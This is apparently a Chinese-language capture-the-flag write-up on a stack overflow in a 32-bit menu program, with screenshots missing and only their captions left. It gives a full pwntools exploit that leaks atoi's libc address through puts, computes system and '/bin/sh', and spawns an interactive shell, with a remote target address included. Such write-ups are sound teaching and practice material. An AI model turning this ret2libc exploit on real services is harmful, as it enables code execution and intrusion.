栈溢出,本题可以使用return2libc的方法来解决,用binwalk查看文件属性
文件属性查看一下程序使用了什么保护机制。
保护机制用32位IDA Pro打开文件,F5反编译之后查看函数,程序的溢出点在gets函数之中
溢出函数我们先运行程序,看下程序想要实现的功能是什么
运行截图
我们可以知道是菜单程序,而gets函数在edit选项之中。
因为程序没有直接调用system函数,而puts函数也在libc之中,所以我们可以通过puts函数将system的地址打印出来,而system的地址则是根据atoi函数的地址来计算出来,因为atoi函数在调用之后在GOT表中已经是真实的地址了,所以可以泄露出libc的地址从而计算出system的地址。
atoi函数地址知道这些之后,我们便可以开始构建脚本,贴上脚本:
from pwn import *
debug = False
local = True
x86 = True
if debug:
context.log_level = 'debug'
else:
context.log_level = 'info'
if x86:
libc = ELF('/lib32/libc.so.6')
#libc = ELF('./libc-2.23.so')
else:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
if local:
p = process('./happy')
else:
p = remote('202.112.51.217',23413)
#定义四个函数
def create(name,passwd,level,secret):
p.recvuntil('-----------------------------------------')
p.sendline('1')
p.recvuntil('name:')
p.sendline(name)
p.recvuntil('password:')
p.sendline(passwd)
p.recvuntil('):')
p.sendline(str(level))
p.recvuntil('secret:')
p.sendline(secret)
def delete(name,passwd):
p.recvuntil('-----------------------------------------')
p.sendline('2')
p.recvuntil(': ')
p.sendline(name)
p.recvuntil('password:')
p.sendline(passwd)
def view(name,passwd):
p.recvuntil('-----------------------------------------')
p.sendline('3')
p.recvuntil(': ')
p.sendline(name)
p.recvuntil('password:')
p.sendline(passwd)
def edit(name,passwd,level,secret,payload):
p.recvuntil('-----------------------------------------')
p.sendline('4')
p.recvuntil(': ')
p.sendline(name)
p.recvuntil('password:')
p.sendline(passwd)
p.recvuntil('level: ')
p.sendline(str(level))
p.recvuntil('secret:')
p.sendline(secret)
p.recvuntil('y/n')
p.sendline(payload)
#三个地址
puts_plt = 0x080484F0
start = 0x08048580
atoi_got = 0x804B03C
payload = "a"*(0x7a + 4) + p32(puts_plt) + p32(start) + p32(atoi_got)
#泄露地址
create('yahoo','yahoo',1,'yahoo')
edit('yahoo','yahoo',1,'yahoo',payload)
p.recvuntil('recorded!\n')
leak = u32(p.recv(4))
print hex(libc.symbols['atoi'])
libc_base = leak - libc.symbols['atoi'] #函数的基地址
print hex(libc_base)
system = libc_base + libc.symbols['system'] #system的地址
print hex(system)
binsh = libc_base + next(libc.search('/bin/sh')) #/bin/sh地址
print "leak is @:",hex(leak)
#再次构建payload
create('yahoo','yahoo',1,'yahoo')
payload = 'a'*(0x7a + 4) + p32(system) + p32(start) + p32(binsh)
edit('yahoo','yahoo',1,'yahoo',payload)
p.recvuntil('recorded!\n')
p.interactive()
网友评论